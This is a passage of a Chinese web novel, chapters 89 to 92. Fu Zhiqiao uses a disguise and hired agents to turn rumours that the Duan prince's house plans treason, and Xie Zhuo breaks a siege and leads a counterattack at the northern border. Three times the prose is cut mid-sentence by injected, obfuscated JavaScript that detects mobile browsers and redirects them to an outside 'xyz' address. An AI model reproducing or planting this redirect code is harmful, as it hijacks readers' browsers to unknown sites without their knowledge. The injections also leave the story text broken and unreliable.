“你怎么知道是他的原因?胜败乃兵家常事,有哪位将军敢保证自己此生不打败仗?你口中的那个吃了败仗的副将是端亲王世子,他在战场上抛头颅洒热血,守护疆土保卫百姓。而你们,你们这些受到保护的人却在背后嚼他们的舌根,责怪他们吃了败仗,你们的良心被狗吃了吗?” 一番指责的话让那几个人面红耳赤,低着头走开了,傅知乔冷哼一声想继续去挂祈福带,却在转身的时候看到左慕蕊,愣了一下后,她俯身向左慕蕊行了个礼。 左慕蕊也注意到了傅知乔,以她的容貌到哪里都是引人注目的。 傅知乔刚才那番维护谢卓的话全被她听到了,她扭过头上下打量了傅知乔一眼,眼神飘到到傅知乔手上的祈福带上写的是谢卓的名字后,礼节性的点了点头便没再说什么。 倒是她身后的章嬷嬷对着傅知乔笑了笑。 同样对傅知乔笑了的还有谢怀薇,她用亮晶晶的眸子盯着傅知乔,哥哥和母妃因为一个女人吵过架的事她是知道的,难道,眼前这个貌美的女子就是哥哥和母妃吵架的原因吗? 谢怀薇一颗八卦的心快要按捺不住了,就连侧身而过后还频频回头看向傅知乔。 从永安寺回来,傅知乔照常去太白楼巡铺子,发现酒楼里的食客们都在讨论与蛮夷联军打仗一事,其中不乏有怪罪谢卓的说法,甚至有人怀疑谢卓早就跟蛮夷西厥勾搭在一起了,是故意吃败仗的。 谣言传的有模有样,这把火很快就从谢卓身上烧到了端亲王府。 百姓们不再讨论北疆一带的战事,他们的注意力全部放在了王府是否意图谋反篡位上。 有人说谢卓之所以在战场上表现不佳是受到了端亲王的指使,故意拖我军后腿为敌军制造机会等,还有人说端亲王意图不轨,早就与蛮夷小国达成了合作,等蛮夷联军在北疆一带作乱后,端亲王就会借助蛮夷的势力登上王位。 一时间,要弹劾、要问责、要给端亲王治罪的言论尘嚣而上。 民间流言四起,文武百官在局势没有明朗之前可不敢胡乱上谏。 勾结外敌可是重罪,足以让端亲王从皇族贬为庶人。 端亲王谢弛虽然现在是个闲散王爷,但老王爷谢和山年轻时可是雷霆手段,没有人敢直接触他的霉头。 关于谢卓在军中贪功冒进的的传闻当然是假的,奏折上写的一清二楚,谢卓非但没有惹事,反而是帮助田胜突出重围送信立下了汗马功劳。 那朝廷为何不出来制止这种流言呢? 89. 约定亲事 知道而不阻止,就是纵容! 此事确实是承德皇帝有意而为之,他对端亲王一脉并非全无戒心,谢卓打了败仗只是加大了他的猜忌心而已。而且,这场败仗实在大的有点莫名其妙,主将罗振海受伤、守城将军杜志云带兵追击却被拖住、谢卓带兵突击失踪……这一环一环的都太巧合了。 巧合到让承德皇帝不敢轻信,外界的猜测正是他所担心的,端亲王是否真的有不轨之心? 皇上的态度尚未明确,其他大臣们也不敢出来为端亲王说话。 亲王的位置本就容易引起皇帝猜忌,结果还来这么一出,一时间端亲王府的风评在京中急转直下。 欲加之罪,何患无辞。 老王爷谢和山对皇帝的心思也猜的七七八八,皇帝无非是想借着这个由头打压一下王府,在知道自家孙儿安全无事后,他也乐意配合。 很快,老王爷被气病、谢弛在同僚中被孤立、京中无人敢接左慕蕊递出去的帖子……短短几天,端亲王府就从人人巴结追捧变成了人人避之不及的存在,就连与王府有姻亲的,左慕蕊的娘家人也不敢贸然替王府出头,更别谈原先想与王府结亲的人家,他们也都避嫌不敢上门了。 在这期间,唯一没有在表面上疏远王府的就是礼部尚书夫人郭素兰。 在王府经受谣言折磨的时候,只有郭素兰愿意上门看望,她虽然只是私底下悄悄过来看望,但这个举动足以让左慕蕊大受感动。 “老王爷近来身体可还好?”郭素兰关心道:“近日以来京城中的种种流言我都听说了,我相信世子不是那样的人!我家老爷已经托人去打探消息了,慕蕊你且放宽心,世子定能平安归来。” 什么叫患难见真情啊! 于昊英是礼部尚书,有关前方战事的消息他肯定不如王府清楚,但不管能不能帮上忙,有这份心就已经足够了。 左慕蕊身体不自觉前倾,她握住郭素兰的手,眼中满是感激之情,“等卓儿平安归来,我就去尚书府提亲!” 左慕蕊此刻并没有想太多,她已经完全被情绪支配住了。 她一直都知道郭素兰的想法,在王府面临如此困境的情况下,尚书府一家却没有选择避嫌远离他们,这怎么能让她不感动? 郭素兰睁大了眼睛,没想到这一趟真的有意外之喜,她克制住内心的激动:“慕蕊,我并不是想让你提亲才这么做的……” “我知道。”左慕蕊打断她,事到如今她也算看透了,之前那些想要与谢卓结亲的人家都是冲着王府的地位来的,只有礼部尚书一家没有在王府低谷时选择疏远。 左慕蕊微微一笑,拉着郭素兰说了好些体己话。她只当礼部尚书一家有情有义,殊不知郭素兰的计划就是要在王府落魄的时候施以恩惠,让端亲王府牢牢记住自己的恩情! 富贵险中求,有什么比雪中送炭更让人记忆深刻呢? 郭素兰并不是嫡女出身,她小时候在家中是看着主母的脸色长大的,好在她嫁的丈夫很出色,一步一步爬上了尚书之位。 如今她成了尚书府的主母,她的女儿是嫡女,熬了几十年终于可以在嫡母面前出口气了,她现在的目的是要把女儿于雅丹嫁入高门贵族,享受荣华富贵,延续家族荣誉! 当今圣上年纪大了,她可不想让自己的女儿去伺候不惑之年的皇帝,可几位皇子尚且年幼,还不到婚配的年纪。 放眼望去,全京城就只有谢卓符合她的要求,而她刚好又跟左慕蕊的关系很好,她就把希望放在了谢卓身上。 谢卓是端亲王世子,是皇家血脉,年轻前途不可限量,要是她的雅丹能嫁进王府,那么未来的王妃之位就非她莫属了! 郭素兰在赌,赌谢卓没有死在战场上,赌端亲王能挺过这次风波。 此行她是悄悄上门的,即便赌输了,她也没有损失,可万一赌赢了,她就能将女儿嫁进王府,将来子子孙孙都会受到皇室荫蔽。 于昊英能坐上礼部尚书这个位置,自然也有他的处世之道,他看的很明白,皇上是绝不可能在这个关节眼上处置端亲王的。 一来,关于端亲王意图谋反的流言已经传播了这么久,为何皇上迟迟没有行动?还不是因为没有证据!在没有确凿的谋反证据下就把堂堂王爷给处置了,如何能让天下人信服?二来,端亲王世子谢卓正在战场上杀敌,这个时候对他父亲端亲王下手,那承德皇帝忠厚仁义的形象岂不是荡然无存? 所以于昊英对妻子去看望端亲王妃这件事持中立态度,反正妻子和端亲王妃交好在京城是众所周知的,私下里去探望一二并不会对尚书府造成什么损失。 傅知乔并不知道左慕蕊已经跟郭素兰两人已经私底下把谢卓的亲事定了下来,她此时正对谢卓的处境感到担忧。 或许是刚过完年不久,百姓们有大把的空闲时间,流言愈演愈烈,谢卓也被推到了风口浪尖。 傅知乔眉头紧皱,朝堂上的博弈她不懂,她只知道民意风向现在对谢卓很不利,她不能任由谢卓被人污蔑。 此时辩解没有任何作用,还不如另想办法脱困,或许,她能为他做点什么? 傅知乔再次找到盛安,询问王府有什么打算?难道就这么任由外界污蔑? 盛安惊讶的看着傅知乔,王府的暗卫众多,他已经被指派给了世子爷,就算老王爷有什么安排也不会让他去执行。 “傅姑娘,这件事不是你我能插手的。” “能不能插手不是你说了算,而是我说了算。” 盛安迟疑了一下,回答道:“据属下所知,老王爷并没有做其他的安排,目前以不变应万变才是最好的计划。” 此事急不得,只能走一步看一步,这个节骨眼上王府的一举一动都会被人看在眼里,要是自乱阵脚被人抓到把柄就不好了。 “你不必敷衍我!”傅知乔冷笑一声:“敌不动我不动才叫以不变应万变,现在谋反的帽子都要戴在你家世子爷头上了,这种情况还要继续无动于衷吗?” 傅知乔懒得废话,直接拍板,“不必多说,谢卓既然把你给了我,你现在就该听我命令!” 盛安抬头与她对视几秒,傅知乔身上的气势骤然开放,带着不容置疑的威严,对上她坚定的目光后,他慢慢的低下了头:“是!” 水能载舟亦能覆舟,舆论的高地你去不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14403125|131292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 占领就会被别人给占领,事已至此,她不能坐以待毙了! 论搞舆论战,这里绝对没有人能比得过她! 水军计划再次重出江湖。 傅知乔自己写的计划给盛安看了。 “记下了?” 盛安一目十行,快速把傅知乔的计划记在了脑子里,随即把纸丢在火盆里,烧了个一干二净。 盛安不愧是王府精心培养的人,效率十分惊人,很快就找来了一个技术精湛的易容大师。 易容大师是个瘦弱的、驼着背的老婆子,她的江湖称呼是辛婆婆。 辛婆婆手上拿着一块类似黏土一样的东西,揉揉捏捏后就粘在傅知乔的鼻梁和鼻翼上,瞬间精致的小翘鼻就变成了蒜头鼻。 这就是传说中的易容术吗?太神奇了! 傅知乔摸了摸粘在喉咙上逼真的喉结,在没有先进工具的情况下,用几块粘土就能给人改头换面,这种技术着实令她大开眼界。 辛婆婆不苟言笑,干瘪的脸上布满了皱纹,双手继续在傅知乔脸上捣鼓着,一盏茶时间不到就把她一个妙龄少女易容成了文弱书生。 傅知乔看着镜子中有些陌生的自己,不由得感叹,专业的事就必须交给专业的人去做,人家这才叫乔装打扮,她之前扮男装只能算过家家。 午时,太白楼一如既往地热闹。 傅知乔以书生的形象坐在一楼大厅吃饭。 盛安一身锦袍大摇大摆的从门口进来,径直走向了傅知乔子的位置,“刘兄,你怎么在这?今儿个太白楼没位子了,不如咱们拼个桌?” 盛安的长相清秀,以富家少爷的形象出现倒也不显得违和。 傅知乔给了他一个可以开始的眼神。 盛安主动搭话:“刘兄,你的策论准备的怎么样了?说不定明年科考会出关于北疆战事的策论题目,对于我军吃了败仗一事,你有何高见?” “高见不敢当,在下认为胜败乃兵家常事,打败仗实属正常。” “话虽如此,可这败仗吃的你不觉得蹊跷吗?” “此话何解?” 盛安摆出高深莫测的表情:“你想想看,北疆一带尽是些小国家,我大魏更是兵强马壮,如何就与那蛮夷西厥小国打成了这番胶着难分的局面,除非内里还有些别的隐情。” 傅知乔和盛安你一言我一句,讨论的又是时下最火热的话题,很快就引起了大家的好奇心,仔细看,周围还有不少人在竖起耳朵听他们讲话。 “什么隐情?” 盛安装作惊慌状看了看四周,压低了声音:“这我可不敢说。” “有什么不敢说的,你悄悄告诉我,我保证不往外传!” 傅知乔和盛安两人低着头悄悄咪咪说着话,两人聊的内容很吸引人,其他人听不见他们的声音也看不见嘴型都很焦急,尤其是傅知乔背对着的那个长衫的男子,他已经急的抓耳挠腮了。 “哎!你们是不是再说他打了败仗的事情?”长衫男子并没有说谢卓的名字,而是用“他”字来代替,说着长衫男子还指了指东边,那里正是端亲王府所在的方向。 鱼儿上钩了! 90. 扭转舆论 傅知乔和盛安对视一眼,好戏就要开场了! “是啊,骁骑军在北疆吃了败仗,我们在猜明年的科考策论会不会考这个问题呢!这位兄台莫非有什么高见?”傅知乔故意引导他发表自己的意见。 长衫男子果然来了兴趣,他摆摆手,“高见谈不上,不过科考策论肯定是不会出这个考题的,这并非是简单的战败,不是下面的士兵实力不行,而是因为将军决策失误才导致吃了败仗。” 盛安站起来向长衫男子拱手,“还是这位大哥懂得多,大哥怎么称呼?” 盛安的吹捧让长衫男子有几分自得,他干脆拿着自己的酒杯坐了过来。 两人就此事展开了讨论。 “还是肖兄你见多识广。”盛安敬了他一杯酒,压低声音颇为紧张的问道:“肖兄你说传言是真的吗?那位真的有谋逆之心?” 长衫男子虽被夸的飘飘然,但也没有失去理智:“这话你也敢说,不要命了!” 盛安讪笑两声:“我这不是好奇嘛,难得碰到肖兄这样厉害的人……” 傅知乔也摆出一副愿闻其详的样子,最后在他们两人的的有意引导下话题彻底聊开了,不止他们这桌在讨论,太白楼里其他的客人也在谈论着这件事。 “真是可恶!普通士兵的命就不是命了吗?为了自己的军功居然将这么多人的生命弃之不顾,我呸!” “此次战败,他难辞其咎。” “因为他这个错误的决定害死了多少将士,真是造孽!” 盛安跟长衫男子一唱一和,都在指责谢卓的错误,傅知乔坐在他们旁边提高声音:“我不相信,没有证据不能胡说!” “证据?”长衫男子好像是听到笑话一般,他看了傅知乔,说:“你小兄弟一看就涉世未深,这种情况还要什么证据?吃败仗难道不是最好的证据?” “那也不用将全部的罪责都推在他的头上吧,他只是个副将,上面还有大将军呢!”傅知乔据理力争。 “快别说了,要不是罗大将军受了重伤无法上阵,不然哪里轮得到他啊!” 长衫男子的本意是想说谢卓的能力不够,但是听在大家耳朵里就变成了:谢卓是趁着罗将军受伤之际,想自己带兵去抢功劳,结果聪明反被聪明误,把自己实力不够的事实给暴露出来了。 在一阵阵嘈杂的怒骂声中,有个读书人蹦出一句:“将军无能,小兵没命,老祖宗诚不欺我也!” 长衫男子显然很认同这句话:“要不是他刚愎自用,贪功冒进也不至于让蛮夷军给算计了,此次败仗要么是将领年轻气盛不顶用,要么是他受了什么指使才……” 长衫男子意有所指,让大家联想到端亲王意图谋反的言论,难道真的是故意打败仗的? “你怎么知道的?你在现场看到了?”傅知乔毫不客气反讽,“你亲眼看到骁骑军中有懈怠之将了?你亲眼看到那位爷是故意打败仗的?将士们尽忠职守在战场奋勇杀敌却被如此猜忌,你如此言论,也不怕寒了前方将士们的心!” 傅知乔愤愤不平:“大敌当前还这里散播谣言,扰乱军心,其心可诛!” 扰乱军心这么大一顶帽子扣下来,谁还敢接话? 周围的人各个神色震惊,他们这才意识到,原来自己茶余饭后讨论的事竟会造成如此严重的后果。 长衫男子没想到傅知乔突然咄咄逼人,他被噎住说不出话来,气势也弱了下去,“我,我也是听别人说的。” “哦!原来你是听别人说的,并没有证据啊!” “下次这种话可不能乱说了,小心被……”傅知乔做了个抹脖子的动作。 “不是,我没有……”长衫男子显然是害怕了。 “没有就好。”傅知乔目光扫相对众人:“诸位坐在暖和的屋子里喝着酒,将士们却在冰天雪地里喝西北风,是他们付出了生命的代价才换来了我们今日的安稳,诸位若是还有良心,就不该在此刻讥讽他们吃了败仗!” 话音落地,一楼大厅里的人全部陷入了沉默。 “将士们们付出生命的代价在战场上杀敌,没想到竟遭到同国之人如此污蔑,实在令人心寒,还有那些已经为国捐躯了的将士们,他们尸骨未寒……” 傅知乔说道激动之处,站起身来:“在座没有人有资格指责他们,将士们也是凡人之躯,你们可以骂他们无能打了败仗,但不能说他们是受了指使故意才故意打败仗,这是对所有将士的侮辱!” 她加重音量:“没有人想打败仗,但没有人是战无不胜的!” 傅知乔声情并茂,在场的人被她的情绪感染到了。 是啊!将士们都是血肉之躯,除了士兵的身份他们还有丈夫、父亲、儿子的身份?将士们也都是普通人呐!想到这里,他们好像被点醒一般羞愧的低下了头,那些指责的话再也说不出口了。 见气氛烘托得差不多了,盛安出来再添一把火:“此言差矣,将士们打了败仗,让咱们老百姓安危也受到威胁,我说他们两句怎么了?” 他这话一出,算是犯了众怒了。 这下都不用傅知乔带头引导了,立即有人出来反对:“我说你这人有没有良心?将士们在战场上出生入死,你嘴皮子一动就来污蔑?” 有一就有二,大家开始纷纷站出来表态。 “将士们在前方杀敌,我们确实不该在背后非议他们,这不是君子所为。” 当场就有人抹起眼泪来,“没错,我儿子就上战场保家卫国,他才十五岁,就算他打了败仗是我家的英雄!” “没错,我家女婿也在前线打仗,希望他能平平安安的。” “我大哥的跛脚就是在战场上伤到的,自从他伤了腿后就一蹶不振了,我要回去告诉他,他是为了保护大家才受伤的,跛脚不是他的耻辱,而是他保家卫国的勋章!” 刚才就属盛安和长衫男子两人言辞最过分,风向转变后大家都用极不友善的目光看着他们。 长衫男子赶紧撇清自己,“你可别胡说,我才不是那种不识好歹的人。” 盛安赶紧附和他:“我只是、只是被人蒙蔽了。” “我们的今日的安稳生活是将士们用生命换来的,你们不但不心怀感激还在这里污蔑诋毁他们,这是人能做的出来的事吗?”见其他人被自己镇住了,傅知乔继续说道:“我反正是不相信端亲王会谋反,要是他真有谋反之心怎么还会把自己唯一的儿子送到战场上去呢?” 北疆一带是苦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14457596|131292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寒之地,在这种环境下作战一不小心就会把命丢在那儿,众人一听,好像是这么个理! 虎毒还不食子呢,端亲王不可能不在乎他儿子的命。 那可是他唯一的儿子啊! * 太白楼的小院,傅知乔的专属房间里。 “叫你找的人都找好了?” “找好了,办完这件事他们就会改名换姓,永远的离开京城。”盛安已经恢复了正常的打扮,按照傅知乔的要求,他找了好些人扮作普通百姓将傅知乔早就准备好的话术传播出去。 起初京城的的百姓们只是将打了败仗这件事当茶余饭后的谈资,经过傅知乔故意引导风向,渐渐地,为将士们鸣不平的人多了起来。 不利于端亲王府的舆论,渐渐被翻转过来了。 安丰镇不是守住了吗?凉州城不是好好的吗?吃了一两次败仗又如何? 战局未定,未尝没有反败为胜的机会。 很快,傅知乔的计划就有效果了,至少在民间,已经没有谢卓是受了端亲王的指使才故意打败仗的言论了。 随着话题慢慢发酵,越来越多的人都恢复了理智,京城满大街都出现了为前线将士打抱不平的人,再也没有人责怪他们吃了败仗。 民间风向改变,王府第一时间就察觉到了。 谢和山召见了盛安。 面对老王爷,盛安不敢有隐瞒,一五一十的跟他讲述了傅知乔的计划和事情的经过,听完盛安所说谢和山若有所思。 这个女子倒是个聪明的,若不是家世太差倒是能给卓儿当贤内助,当然了,谢和山也只是瞬间的感叹而已。 王府派去的人已经到了凉州,本想着等他们打探清楚消息再行动的,如今民间的风向已经扭转过来了,那么朝堂之上他也不能继续放任下去了。 亲王卷入篡位的阴谋,这让每日上朝的气压也变得越来越低,篡位这个罪名太敏感了,在皇上的态度尚未明确之前臣子们也不敢有意见。 谋反一事兹事体大,皇帝虽然没有派兵到王府守着,但谢弛已经好几日没有上朝了,他差不多是被软禁在了王府内。 “有事启奏无事退朝!” 一阵死寂之后,有人站了出来。 御史大夫邝博明弓着身子,沉声说道:“近日关于端亲王世子谢卓的传闻,不知陛下可有耳闻?” 邝博明是世家大族出身,同属世族派系的,他自然是站在端亲王这边的。 邝博明不卑不亢:“蛮夷进犯,事态紧急,我大魏数十万将士严守凉州护卫百姓安全,陛下断不可听信谗言,寒了所有将士们的心呐!” 邝博明这话表面上是体恤前线战士辛苦,实际上是为谢卓开拖,说他并无谋逆之心。 承德皇帝的脸色如常,看不清喜怒。 “臣附议!” “臣附议!” 几个与王府交好的大臣纷纷发话。 “够了!”承德皇帝出声阻止争执不休的朝臣们。 一时之间,众臣子都不说话了,只等着皇上给出最后的答复。 “此事尚未调查清楚,往后再议!”承德皇帝一挥袖子走了,留下群臣愣在原地面面相觑,陛下这是何意? 91. 半夜偷袭 寒风紧一阵慢一阵的,吹在脸上刀割似的疼,刺骨的寒气让人直打哆嗦。 谢卓此时正琢磨着退敌之计,并不知道京城那边将打败仗的原因归结到了他头上。 据前方的探子来报,杜志云知道自己中了调虎离山之计后,与蛮夷联军经历一番血战现已摆脱了他们的纠缠,目前正在往安丰镇赶来。 田胜和凉州总兵詹英杰也已经带着两万将士赶过来了,谢卓松了口气,傅知乔为他准备的五味粉已经吃的见底了,援军再不来他们就坚持不下去了。 围困安丰镇的蛮夷首领叫轲拉比,谢卓本来的计划是直接击杀他,好让蛮夷军自乱阵脚,但是根据探子探来的消息,蛮夷联军的营帐呈三角状分布,里面有空营帐和主营帐,轲拉比每天晚上住的地方都不一样,实在是不好暗杀。 蛮夷联军的实力不容小觑,谢卓并不敢贸然进攻,只能再想想别的办法。 不能一举进攻,那就只能逐个击破。 几个蛮夷小国联合起来入侵大魏也是为了抢夺更多的物资,因为地理位置的原,因他们很难像大魏那般发展农业,尤其是冬天猎物冬眠,他们获取食物的方式大大减少,自己缺粮就去打劫其他国家,所以战争是在所难免的。 蛮夷联军的人数众多,但粮草供应却是最薄弱的存在,只要将轲拉比与蛮夷联军主力军之间的联系切断,他们没有了粮草供应就自然就撑不了多久了。 探子接令,立马回去把消息告诉了田胜。 田胜对谢卓当副将一事本来是不太服气的,觉得他不过是仗着出身好才能得到罗将军的重视,但这次经历战败改变了他的看法。 谢卓不但表现沉稳,还有异于常人的聪明头脑,所以,此次突围他心甘情愿听从谢卓的指挥。 又等待了两日,谢卓一行人终于迎来了机会。 轲拉比派出一支三十人的传令兵去接应蛮夷的运粮官,谢卓要做的就是将这些人在半道上截杀。 轲拉比不是要围困安丰镇嘛,他们也来一个反围困,截断轲拉比和蛮夷主力军之间的联系,看看谁拼的过谁! 詹英杰带领的援军驻扎在十里之外的古塘山山脚,他派来的探子已经与谢卓接上了头,他们按照制定好的计划,准备里应外合杀轲拉比一个措手不及。 马蹄声越来越近,所有的人都屏住呼吸握紧自己手中的刀剑。 谢卓把手中的弓箭拉成了满月状。 等敌人全部进入了攻击范围,他手一松,一支箭从侧方直接穿胸而过,把那蛮夷小队的首领射成了筛子,他甚至来不及发出痛苦的嚎叫声便从马上跌下。 下一刻,密林中突然间杀出了一群手持长枪长刀的人,他们身形灵活,速度极快,几步就冲出了林子,提着刀直接砍了过来。 没有时间让他们反应,接着“嗖嗖嗖”几支利箭从树林中射了过来,最前头的几个骑兵应声倒地,突如其来的攻击让原本整齐的蛮夷军瞬间变得慌乱起来。 最终这支蛮夷小队被谢卓带领的骁骑军杀了个片甲不留。 击杀完蛮夷军的传令兵,下一步就是解救被围困在安丰镇里的罗振海。 这一步是谢卓事先计划好的,先切断蛮夷主力军和这支队伍的联系,等他们的粮草消耗的差不多了,士兵们心浮气躁,战力大大下降,这时候就是突围的机会。 另一边,轲拉比也很着急,为何运粮官迟迟不到?他们在这里已经围了十天了,带过来的粮食都要吃完了。接连派出去的两队人马都失去了音讯,轲拉比知道运粮路上一定是出了意外,没办法,他只能下令将士兵们每天吃的八两粮食缩减到每天只能吃四两粮食。 又过了两天,轲拉比眉头紧皱,将士们现在每天分到的粮食一天比一天差,连饭都吃不饱,哪有力气打仗呢? 粮草再不送到他就要考虑退兵的事了,他压根就不知道,派出去传信的传令兵已经被谢卓截杀,蛮夷主力军根本就没有收到他要粮的需求。 谢卓:“我带十个弓箭手去烧他们的粮草帐篷,王骞信你带着世人的人去扰乱他们的战马,周泰你带着剩下的人善后。” 三队人马分别埋伏在树上、山坡上,伺机而动。 一切布置妥当。 夜阑人静,谢卓带着人偷偷靠近了敌营,一个个带着火球的箭矢犹如长了眼睛一般射中目标,干燥的粮草遇到箭头上的火油瞬间就烧了起来。 顿时,蛮夷军里火光冲天。 谢卓带着骁骑军接连点燃了数十个帐篷,大火越来越旺,根本不可能扑灭了。 大功告成! 谢卓一挥手:“撤!” 以火为信号,埋伏在前方的詹英杰看到蛮夷军营帐那边浓烟滚滚,他知道谢卓偷袭成功了。 “将士们,给我杀!”早已准备好的魏军像潮水一般迅速涌向蛮夷联军大营。 火光之中,沉寂的蛮夷兵营瞬间沸腾起来。 “将军,不好了!”一名蛮夷士兵急匆匆的冲进了轲拉比的营帐,将魏军袭营的消息告诉他。 轲拉比从军帐中出来就看见魏军在四处烧杀,而蛮夷军有大片人马已经倒于血泊之中,他怒不可遏,从腰间抽出一把大刀朝着旁边的魏军砍去。 “给我杀!没有我的命令谁也不准撤退!”轲拉比怒气冲天,想上前拼个你死我活,但他身边的护卫兵看清楚了眼前的事态。 此时他们已不是魏军的对手,当务之急是要保护首领撤退。 轲拉比勉强抵抗了一会儿,没多久便有些招架不住,他虽然不甘心,但也只能下令撤退,再不走,他们整支队伍很可能会全军覆没。 围困了大半月的安丰镇终于解封。 安丰镇没有了围困危机,谢和山派过来的暗卫也顺利联系上了谢卓。 谢卓一目十行扫过密函上的内容,冷哼了一声,为了诬陷端亲王府有谋反之心,说他贪功冒进延误战机这招也想的出来。 谢卓从出生起就定下了世子之位,说他想凭借军功登上高位简直是无稽之谈。 不过,既然已经把他放到火上烤了,他不配合一二好像也说不过去,谢卓找 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14505673|131292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到罗振海主动请缨出战:“末将献一策,定能解北疆之忧。” 听谢卓说完计划,罗振海上下打量了他好半晌,最终同意了。 与此同时,罗振海也收到了京城的消息,他看着手中的信件,神色间满是严肃。 明明他在奏折里说得清清楚楚,一开始魏军接连胜战蛮夷军,是他这个将军轻敌了,才导致后面魏军连吃了几场败仗,跟副将谢卓有什么关系? 安丰镇被围困这事不仅跟谢卓没有关系,反而是谢卓拼死杀出了一条血路,将求救消息传了出去,这才保住了安丰镇内的一万将士,是大功一件! 也不知道是哪个环节出了问题,为何陛下将吃败战的原因怪到了谢卓头上? 商议完计策,罗振海留谢卓单独聊一会儿,他负手站在谢卓身边,“此行凶险多亏有你,京城的事我已经知道了,你放心,我已经重新上书奏折给陛下,定会还你清白!” 谢卓愣了一下,他没有想到罗振海留下他是为了说这件事,抱拳行了一个大礼:“多谢将军!” 送走谢卓后,罗振海脸色一冷:“拿笔墨来。” 谢卓现在是他手下的得力干将,断然不能让这些流言干扰了作战,罗振海提笔重新写了一封奏折加急送往京城。 * 京城。 朝堂之上波云诡秘,皇帝态度不明,臣子们更是人人自危,提心吊胆,哪里还敢为谢弛求情。 战败的原因肯定是要追责的,但不是现在,现在战况尚未明确,倘若这时候加以惩罚可能会寒了军心,导致军心涣散。 就这么过去了几日,端亲王府上上下下数百号人都夹紧尾巴做人,就在所有人都以为王府要没落的时候,事情出现了转机。 前线终于传来了捷报,援军到达安丰镇与在镇外埋伏已久的谢卓来了个里应外合,击退了围困在安丰镇的敌军。 收到消息当天,承德皇帝私下召见谢弛。 敲打端亲王府的目的已经达到,北疆的战事也获胜了,承德皇帝很满意这个结果。 “勾结蛮夷、谋反之言实乃无稽之谈,微臣赤胆忠心,上苍可鉴!”谢弛的消息并没有皇帝及时,他还以为皇帝已经下定决定要处置他了。 “此事定然有人在背后推波助澜,微臣绝不会勾结外族。”谢弛跪在地上,姿态放的很低:“臣对天发誓,绝无谋反之心,臣怀疑有人想挑拨臣与皇上的君臣关系,还请陛下明鉴!” “事情的原委朕已查明,是有心人故意污蔑……”承德皇帝连忙扶他起来:“你我自小一块长大,朕知道你的性子,又怎会因为外界的猜测便治王府的罪呢?” 承德皇帝坐回龙椅上,佯装愤怒,一巴掌拍在龙椅的扶手上,说自己已经查清端亲王意图谋反的谣言是蛮夷奸细所为,意在反间君臣,令魏军内部自相残杀,还说自己之所以禁止他上朝,是为了迷惑对方引蛇出洞…… 谢弛还能说什么?他只能叩谢皇恩。 最终,承德皇帝以雷霆手段惩治了传播谣言的人,还了王府一个清白。 92. 胜利归来 骁骑军、凉州兵、幽州援兵,三队人马集结在一起准备对蛮夷联系发动攻击。 趁你病要你命,眼下魏军士气正盛,定要将前面战败的面子找回来。 营帐内,罗振海带着军师和几位将领在排兵布阵,他指着沙盘上被蛮夷联军占领的地方,强调道:“这一仗,只许胜不许败!” 蛮夷小国不足为惧,可蛮夷联军确实是让大魏栽了一个跟头。 骁骑军素来有不错的战绩,这次却因输给蛮夷联军而被诟病,他们势必要找回面子,杀敌人一个片甲不留。 罗振海身上有伤,只能在后方发号施令,为此他任命谢卓为此次攻击的先锋将军,杜志云和詹英杰作为侧翼辅助。 杜志云前不久才吃了个败仗,当下正是夹起尾巴做人的时候,因此对罗振海这个决定不敢有丝毫异议。 制定好作战计划,罗振海还给了每个校尉一个专门传讯旗子,便于在战场上统一调令。 第二天一早,谢卓集结所有将士继续向北出发。 战事至今已持续了近一个月之久,要不是大魏疆域辽阔,战力繁盛,恐怕早就撑不了。 鄢陵关位于大魏境内,是大魏的边境线,早在战争初期便已被蛮夷联军占领,谢卓此行的目的就是要抢回鄢陵关,将蛮夷联军彻底赶出大魏境内。 蛮夷联军也已得魏军大部队正朝着鄢陵关这边来的消息,按速度和路程推算,他们不出两日就能到达。 两军对垒,相隔不足十里。 一阵密集的战鼓声响起,谢卓抬起手挥了挥,骁骑军中盾牌兵开路,骑兵紧随其后快速地杀进蛮夷军中。 双方试探了这么久,终于在此刻展开了正面交锋。 按照罗振海的布局,谢卓作为先锋部队撕开对方的防御阵法,杜志云在左侧带领刀斧兵强势击杀敌军,詹英杰带领弓弩手在后方及时补刀。 三方队伍连续不断的攻击让蛮夷联军扎架不住,连连后退。 谢卓冲在最前面,他放心把后背交给王骞信,没有了后顾之忧,他的战斗力更是爆表。 手持一把红缨长枪,出手快如闪电,不一会儿他的身前就被清空了一片。 敌人吓的纷纷来开,见谢卓如此英勇,大魏将士们的士气大大提高,他们眼神狂热怒吼着,奋力砍杀。 擒贼先擒王,没有将领指挥,蛮夷军瞬间成了一盘散沙,面对大魏的强势攻击他们接连后退,其他骁骑军将士们看到谢卓如此威风,被刺激的士气再次暴增,冲上去挥刀就砍。 你砍我一刀,我射你一箭。 